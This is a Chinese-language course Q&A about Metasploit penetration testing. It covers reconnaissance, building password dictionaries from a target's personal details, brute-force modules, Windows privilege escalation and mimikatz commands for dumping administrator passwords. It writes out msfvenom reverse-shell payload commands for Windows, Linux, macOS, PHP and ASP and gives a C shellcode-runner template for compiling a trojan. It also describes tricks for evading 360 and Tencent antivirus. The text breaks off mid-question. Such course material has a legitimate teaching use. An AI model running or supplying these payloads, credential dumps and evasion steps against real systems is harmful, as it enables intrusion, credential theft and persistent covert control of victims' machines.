目录
MSF - 简介
MSF - 扫描模块
MSF - 爆破模块
MSF - 漏洞利用
MSF - 漏洞利用二
MSF后门生成模块
1. MSF是一个怎么样的工具?
MSF是一个综合性渗透测试工具,集成信息收集、漏洞扫描、漏洞利用以及提权等功能的工具
2. 漏洞库是什么东西?
漏洞库是公开的漏洞检索系统,例如,可以快速搜索漏洞
http://www.cnnvd.org.cn/web/vulnerability/querylist.tag
3. MSF中的模块的作用是什么?
MSF以模块归类各种插件,例如辅助模块的作用就是帮助我们进行漏洞扫描,漏洞发现等
4. 辅助模块Auxiliary的作用是什么?
在渗透测试中帮助我们进行前期的信息收集、扫描测试等
5. 攻击模块Exploits的作用是什么?
对发现的已知漏洞,进行攻击测试,从而获得目标系统的权限
6. 攻击载荷模块Payload的作用是什么?
攻击成功后的恶意代码
7. 后渗透攻击模块Post的作用是什么?
在渗透测试成功后,进一步的收集目标系统的信息,为进一步深入目标系统做准备
8. 编码模块Encoders的作用是什么?
将攻击代码进行编码,编译,来绕过杀毒软件的检测
9. 开启MSF数据库的作用是什么?
我们知道MSF中有很多的模块以及插件,当我们开启数据库之后我们去搜索相关插件和模块的速度会很大的提升,并且数据库中可以保存我们的操作记录
10. 开启MSF的数据库指令是什么?
命令为:service postgresql start,开启数据库后需要初始化MSF数据库,命令:msfdb init ,输入即可自动初始化
11. 开启数据库之后如何在MSF中验证开启了?
使用命令查看:db_status, 连接之后结果为:[*] Connected to msf. Connection type: postgresql.
12. 如何进行MSF控制台?
使用命令:msfconsole,回车即可进入
13. 如何找到我们想用的模块呢?
我们使用搜索命令search ,继续快速查找,例如找到MS17-010,使用search ms17-010即可
14. 如何快速打开帮助命令?
我们可以使用help命令或者是?,打开我们的帮助信息
15. show命令的作用是什么?
显示模块,或是选项的描述信息
16. 如何退出MSF控制台?
使用命令:exit,回车即可退出
17. info命令的作用是什么?
打开描述信息,查看描述信息能够帮助我们更好的使用该模块
18. 如何返回上一级,而不直接退出?
使用命令:back,即可返回上一级,而不退出
19. 比如我的站点是wordpress,我该如何使用MSF进行测试?
使用搜索命令:search wordpress ,找到相关的模块以及插件然后进行测试,当然呢,在测试之前老师建议使用漏洞扫描软件,先扫描测试,根据扫描出来的结果,在进行手工复测
20. 如何对一个模块进行使用?
使用命令:use 模块名,即可选中,然后进行设置就行了
21. run命令和exploit命令有区别么?
没有什么区别,都是执行我们的模块
22. 如何在外网安装MSF?
我们可以参考官网的文档
https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers
23. 学msf应该不用会Ruby吧?
不需要,我们掌握的工具的用法,运用工具来帮助我们提高效率等
24. 我在虚拟机里面 直接扫外网IP可以么
可以扫描,但是,无法返回信息给我们,所以我们在外网的话,使用外网的msf就行了。
25. MSF 扫外网就直接用外网IP地址?
对的,我们在设置RHOSTS的时候,目标地址设置为外网地址
26. MSF扫描 IP的时候扫IP段
我们在设置RHOSTS的时候,设置为192.168.20.1/24,/24的意思是代表C段,IP地址为0-254个主机
同学们可以看下网络基础:https://baike.baidu.com/item/子网划分/5446046
27. background 之后怎么重新拿到前台?
我们使用命令:sessions -l,查看当前的会话有多少以及会话ID,使用session -i id值,就切换回来了。
28. —help能显示更多命令解释吧?
是的,在msf,我们要多用用 -h ,或者是help帮助命令提示我们,如何使用
1. 扫描模块的作用是什么?
我们通过MSF的扫描模块进行信息收集
2. 如何通过whois命令获取别人的whois信息?
使用命令:whois 域名 ,例如获取zkaq的whois信息,whois zkaq.org
3. 获取whios信息的作用?
1.找到对方的管理员信息,例如名字,邮箱电话等,进行密码组合生成新密码,例如使用在线的密码生成网站
http://www.coolrano.com/caimima/
4. 通过生成爆破的密码有什么作用?
密码具有规律性,我们可以通过一个密码登陆其他站点,叫做撞库,密码具有可破解性,简单易懂的密码。
5. 通过得到别人的账号信息可以做什么?
可以去测试别人的密码是不是泄露过,例如密码泄露查询:
https://monitor.firefox.com/
https://haveibeenpwned.com/
反向查找对方的信息
6. 有哪些在线的查找whois信息的网站呢?
例如站长之家的http://whois.chinaz.com/
7. 使用nslookup的作用?
nslookup检测dns记录的工具,我们可以去查找对方的DNS服务器
8. 如何使用nslookup进行查询呢?
例如非交互性查询zkaq.org的dns,命令:nslookup -qt=ns zkaq.org,查询结果为dns记录
9. nslookup有那两种模式?
交互性和非交互性,
10. dns解析记录有那些?
我们可以参考下阿里的,有哪些dns解析记录
https://help.aliyun.com/document_detail/29725.html
11. 有哪些在线的dns查询的网站么?
例如站长之家的http://tool.chinaz.com/nslookup/
12. 我们在MSF中也可以调用nmap进行信息收集?
使用命令,db_nmap 例如:db_nmap -sV -v 192.168.1.2
扫描系统和程序版本号检测,并且输出详细信息
有点忘记nmap的命令,同学们请回去看看我们的nmap命令哦。
13. 我们如何使用msf的自动化插件?
我们用命令load -l 可以所有的插件支持的插件,例如使用命令:loal wmap 回车即可,我们就加载了wmap插件,我们使用help命令就可以查看到插件的使用参数
14. wmap_modules的作用是什么?
管理模块,我们使用wmap_modules -l 查看所有的模块
15. wmap_sites的作用是什么?
管理我们的站点目标,使用命令:wmap_sites -a url 添加目标,使用命令:wmap_sites -l 查看现在有那些目标
16. wmap_targets 的作用是什么?
添加扫描目标路径,使用命令:wmap_targets -a url 添加目标路径信息,使用命令:wmap_targets -l 查看现在有那些目标
17. wmap_run的作用是什么?
开启扫描,通过添加的目标信息进行扫描,使用命令:wmap_targets -e即可
18. wmap_vulns 的作用是什么?
查看扫描结果,是否存在漏洞信息
19. 自动化插件wmap的主要最用是啥?
调用我们的辅助模块进行信息收集,我们可以通过搜索找到我们想要的模块进行测试即可
20. wmap功能和 awvs或者burp的scarn这些差不多么
不一样,wmap的作用差一点,wmap主要调用我们模块进行信息收集,专业的事儿,还是给专业的软件做
21. 离线漏洞数据库搜索工具searchsploit的作用是什么?
离线漏洞数据库帮助我们在测试时候找到对方的POC或者是利用脚本,
22. 如何使用searchsploit?
我们直接搜服务名字即可。例如searchsploit -t ftp,搜索标题为ftp的漏洞信息
23. 找到 CVE 但是不知道这个CVE是MSF那个模块
我们通过这个数据库平台搜索即可
https://www.exploit-db.com/?platform=multiple
1. 常见的网站加密方式是那种?
通常的密码以md5这种加密算法加密,网站登陆一般用md5进行加密
2. 如何解密md5值?
我们可以使用在线解密网站,例如 https://cmd5.com/
3. 常见的hash加密算法有哪些针对服务等?
我们可以看下常见的算法有哪些,https://www.jianshu.com/p/0d53b9b5631e
4. 明文密码存在有哪些危害性?
一般而言,密码存在规律性,可破解性,对应性,我们通过找到密码,进行归类,然后形成密码群,进行精确进行攻击。
5. 为什么要去验证hash值?
每一个文件都存在一个唯一值,也就是我们说的指纹信息,我们通过校验文件,来验证文件是否被修改以及是否损坏
6. 如何使用certutil进行检验?
我们在cmd命令行下使用命令:certutil -hashfile 文件名 md5 ,然后就可以直接校验md5值了
7. 如何找到对方的hash值?
一般来说在下载正版软件的时候,对方会提供这个md5值。
8. 如何下载密码生成工具?
地址:https://github.com/RicterZ/genpAss,在kali下使用命令,git clone https://github.com/RicterZ/genpAss
下载后进入目录genpAss,然后使用命令:python setup.py install ,安装即可
9. 如何使用genpAss生成密码?
我们kali终端下,例如:使用命令:genpass -n 王小二 -u xiaoer -q 1000 -e 100@qq.com -m 13800138001 -b 2000-10-01 -c 腾讯 -o xiaoer.txt
这些参数分别代表:-n 姓名,-u 用户名,-q QQ号, -e 邮箱号,-m 手机号,-b 生日日期,-c 公司名,-o 导出文件
10. 自己收集创建密码字典的作用?
通过学习我们知道了密码是有对应性的,我们通过收集A站点的密码尝试爆破B站点
11. 如何查询自己的是否泄露?
使用网站进行查询即可:
https://haveibeenpwned.com/Passwords
12 . 使用搜索功能查找模块的作用?
通过搜索来缩小我们寻找模块的范围、更加精确找到我们想要的模块
13. 查看模块的姿势有哪些?
一、 通过关键词进行搜索,例如:search login,查找登陆相关的模块
二、 通过服务名来进行搜索,例如:search type:auxiliary name:ssh ,查找辅助模块,服务名字为ssh的模块
三、 通过服务名+关键词进行搜索,例如:search type:auxiliary name:phpmyamin login 查找辅助模块,服务名字为phpmyadmin的登陆模块
14. 爆破ssh服务的模块名是?
模块名: auxiliary/scanner/ssh/ssh_login
15. 爆破mysql服务的模块名是?
模块名:auxiliary/scanner/mysql/mysql_login
16. 爆破phpmyadmin服务的模块名是?
模块名:auxiliary/scanner/http/phpmyadmin_login
17. 扫目录不应该用蜘蛛吗?
我们也可以使用字典进行爆破,例如burp的爆破模块,只需要设置好变量即可
18. 在爆破目录中可以去找类似的源码猜吗?
可以的,我们不能放过一些有利的信息
19. 在登陆的时候万能密码有用么?
我们可以通过爆破来验证是否存在sql注入漏洞
20. 在运行MSF的模块时用exploit不是run吗?
exploit和run的作用是一样的,都是运行模块
21. 在msf中好慢,是不是可以通过修改第一个设置来修改线程数?
在我们的模块中设置,threads 这个选项即可
22. 蚁剑 从github下载的时候火绒爆存在后门那个蚁剑,没有问题吧?
没有问题,可以在虚拟机里面运行
23. 想问个问题,我如果下载东西到虚拟机,发现下载东西有病毒的话,会不会病毒会渗透到我的主机上吗?
可能会,存在虚拟机逃逸,但是呢吗,我们一般使用net模式可以有一定的防护
1. 搭建测试环境的作用是什么?
在本地测试漏洞,然后授权的情况下进行相关漏洞挖掘
2. PHPstudy的作用是什么?
phpstudy是一个快速搭建网站的环境的程序集成包,帮助我们搭建php站点非常方便。
3. PHPstudy只能搭建PHP站点么?
不仅仅,还能搭建jsp的,不过我们要下载jsp版本的。官网:www.phpstudy.net
4. 在使用phpstudy的过程中一般会用到那些问题?
很多,例如端口占用等等的情况。老师找了一个官方的回答帖子,同学们可以看下。
http://phpstudy.php.cn/wenda/388.html
5. 使用phpstudy的时候出现运行库未安装怎么办?
按照他的提示安装,老师在网盘也有提供哦
http://www.php.cn/xiazai/gongju/1351
6. 搭建PHP版本的靶场的一般过程是什么?
1.下载源码,2复制源码文件到www目录下,3.修改源码配置文件来连接数据库文件,4.设置域名访问,也可以不用去设置
7. 老师搭建了DVWA之后怎么去测试的?
可以看教程: DVWA教程: https://www.freebuf.com/articles/web/123779.html
8. 有哪些渗透测试平台?
可以在GitHub上面找,也可以问老师
9. meterpreter是什么?
meterpreter是我们后渗透测试控制台,帮助我们在拿到一定权限下进行下一步测试
10. 使用docker搭建测试环境比较好吧?
是的,但是呢,我们使用windows比较方便,快速
11. 虚拟机的 MSF 测试MS17的时候 直接扫外网好使么 还是得用外网服务器 他俩有区别没?
区别不大,就是我们需要设置的主机地址不一样而已
12. 测试漏洞利用之前我们应该怎么做?
我们要首先要进行信息收集,发现对方存在漏洞,然后使用msf进行漏洞利用
13. 使用MSF进行漏洞测试的流程是怎么样的?
1,漏洞扫描,2,选择exp,3,选择正确的payload,4,攻击
14. 为什么phpmyadmin漏洞没有测试出来?
这个是脚本的问题,我们要看下我们的防火墙是否开启,以及重启试试
1. 新建一个普通用户去搭建网站的作用是什么?
模拟了网络上拿下网站后会出现的情况,并且使用普通用户搭建网站的安全性会相对管理员一键搭建好很多
2. 新建普通用户的方法有哪些?
使用cmd命令新建用户,net user a a.1 /add ,或者是通过打开计算机管理找到 本地用户和组,然后找到用户,在右边空白处点击右键,新用户,新建即可
3. 新建用户之后怎么设置apache目录以低权限运行?
我们要先对apahce和MySQL的目录分别给权限,首先找到apache目录下的logs目录,单击右键属性,然后找到安全选项卡,然后找到“高级”,“更改权限”,“添加”,输入要选择的对象名称为你新建的用户名,然后确定,确定,在logs的权限目录,权限设置为“遍历文件夹/执行文件允许,列出文件夹/读取数据允许”,确定,然后在logs的高级安全设置,勾选“使用可从此对象继承的权限替换所有子对象权限”,然后确定,是的,确定。然后在对象名称找到添加的用户名,“编辑”,读取和执行,列出文件夹内容、读取、写入为允许,即可
4. 新建用户之后怎么设置MySQL目录以低权限运行?
首先找到mysql目录下的data目录,单击右键属性,然后找到安全选项卡,然后找到“高级”,“更改权限”,“添加”,输入要选择的对象名称为你新建的用户名,然后确定,确定,在logs的权限目录,权限设置为“遍历文件夹/执行文件允许,列出文件夹/读取数据允许”,确定,然后在logs的高级安全设置,勾选“使用可从此对象继承的权限替换所有子对象权限”,然后确定,是的,确定。然后在对象名称找到添加的用户名,“编辑”,读取和执行,列出文件夹内容、读取、写入为允许,即可
5. 怎么设置phpstudy的运行模式?
首先设置为,系统模式,应用,然后再关闭即可,这时候我们去“服务”里面就能看到了。apache和MySQL了
6. 怎么设置新用户以“服务模式”运行apache?
找到“服务”,找到apache,然后单击右键,属性,登陆此账户,输入新用户的用户名和密码即可,然后重启apache
7. 怎么设置新用户以“服务模式”运行mysqla?
找到“服务”,找到mysqla,然后单击右键,属性,登陆此账户,输入新用户的用户名和密码即可,然后重启mysqla
8. 这设置“服务”模式出现问题怎么看?
找到。“开始”,“管理工具”,“事件查看器”,查看windows日志,“应用程序”和“系统”,查看报错信息
9. 什么是提权补丁exp?
一般而言,我们拿到服务器之后可能只有一个低权限用户,但是我们通过一些方式把我们的用户权限提升到管理员权限,而exp提权就是,使用对方服务器里面打的补丁,进行一个exp补丁来提权,用户权限
10. windows的提权补丁有那些?
这个项目收集了比较齐全的exp提权补丁
https://github.com/SecWiki/windows-kernel-exploits
11. 辅助提权的工具有哪些?
在现在的网页进行补丁对比:https://bugs.hacking8.com/tiquan/
在提权辅助工具:https://github.com/GDSSecurity/Windows-Exploit-Suggester
12. 辅助提权工具Windows-Exploit-Suggester的安装?
在kali终端下安装xlrd:pip install xlrd --upgrade即可
13. 在使用Windows-Exploit-Suggester之前要注意?
先更新数据库:python windows-exploit-suggester.py --update
14. Windows-Exploit-Suggester有哪几种快速查找模式?
三种,扫描systeminfo 信息:这个系统可以提权的补丁有哪些
python windows-exploit-suggester.py --database 2019-05-17-mssb.xls --systeminfo 1.txt ?
审计本地可利用漏洞信息
python windows-exploit-suggester.py --audit -l --database 2019-05-17-mssb.xls --systeminfo 1.txt
未使用补丁该系统可能存在的漏洞
python windows-exploit-suggester.py --database 2019-05-17-mssb.xlsx --ostext 'windows server 2008 r2'
这里的2019-05-17-mssb.xlsx也就是你更新的数据库
15. 在使用exp提权补丁的时候要注意什么?
模拟一个对方的环境出来,进行本地提权测试,不然的话,很容易把对方的主机弄成蓝屏或者是宕机的情况,这些情况对方对对方的业务造成影响。
16. 使用mimikatz的时候要注意什么?
需要管理员权限,如果使用mimikatz不回显数据的话,需要关闭mimikatz进程
17. 使用mimikatz不回显命令怎么办?
记录回显
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit
输出内容:
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" >> 1.txt
18. 使用mimikatz获取管理员密码命令?
使用命令:
需要管理员权限
mimikatz.exe log
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # exit
19. 获取到管理员的NTLM值后如何解密?
在线解密: https://www.objectif-securite.ch/en/ophcrack.php#
somd5.com,cmd5.com
1.后门生成模块的作用是什么?
维持访问,持续控制
2.MsFvenom支持生成的脚本有哪些?
使用命令:MsFvenom -l formats查看支持的脚本列表
3.如何查看msfvenom支持的payload?
使用命令:msfvenom -l payloads查看支持的payload
4.如何查看msfvenom支持的编码器?
使用命令:msfvenom -l encoders查看支持的所有编码器
5.Msfvenom -b 参数的作用是什么?
删除生成shellcode中的一些无法字符
6.什么是shellcode?
Shellcode也就是利用代码
7.Msfvenom -i参数的作用是什么?
支持编码次数,也就是类似于加密的多少次
8.Msfvenom导出生成的脚本的方式有那种?
我们可以使用-o参数,或者是“>>”导出文件名
9.在生成木马脚本的时候指定目标系统和目标架构的作用是什么?
生成的脚本的准确性,有些脚本我们生成之后可能无法在对方系统运行
10.Msfvenom生成后门文件的流程是什么?
1.生成后门文件在对方主机上执行或者触发 2.本地监控设置的端口,然后对方上线即可控制对方主机
11.“msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.88.134 lport=1250 -f exe > 2301.exe ” 这句代码的意思是什么?
使用msfvenom创建木马文件,-p指定payload为windows/meterpreter/reverse_tcp,-e 指定编码器为x86/shikata_ga_nai,-i指定编码次数为5,设置本地IP地址和端口,-f指定导出文件类型,> 导出为2301.exe文件
12.在监听的时候我们使用什么模块?
使用模块:use exploit/multi/handler
13.在监听的时候我们应该注意什么?
当我们选择了监听模块,然后呢,设置payload的时候要注意使用对应的payload,也就是我们生成木马文件所使用的payload
14.常见的后门生成模式有哪些?
根据需求来,一般来说有php,asp,Windows,linux,mac,powershell等等。
15.常见的后门生成例子?
1. Windows
Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:back.exe
Msfvenom –platform windows –a x86 –p windows/x64/meterpreter/reverse_tcp –f exe –o C:back.exe
2. Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
3. MAC
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
4. PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
5. Asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
6. Aspx
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx
16.安装vc++6.0的作用是什么?
编译我们的C语言的数组,编译成exe可执行文件
17.如何生成C语言数组的后门?
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘x00’ lhost=192.168.88.134 lport=1250 -f c
指定文件格式为c语言即可或是 -o 导出保存为c语言的脚本文件
18.如何使用Vc++6.0编译我们所生成的C语言数组文件?
- 创建一个C语言项目:打开软件 – 文件 -新建 - win32 application -一个简单的32为C语言程序
- 找到左下角的fileview,source files目录修改你创建的名字的.cpp程序
- 复制:编译文件内容:
#include "stdafx.h"
#include <stdio.h>
#pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"")
unsigned char buf[] =
(这里放生成好的数组)
main()
{
((void(*)(void))&buf)();
}
- 然后组建 – 先编译stdafx.cpp文件,在编译你的.cpp,生成木马
- 然后扫描测试即可
19.绕过360软件的思路是什么?
通过msfvenom所生成的C语言,然后编译,这样的话,特征就被去掉了。然后绕过
20.绕过腾讯管家的思路是什么?
通过添加资源文件来改变特征码,从而去绕过,如果被查杀了,纳闷我们就添加一些东西,例如签名,版权,图标等等信息
21.第一次绕过了,为什么第二次会被拦截?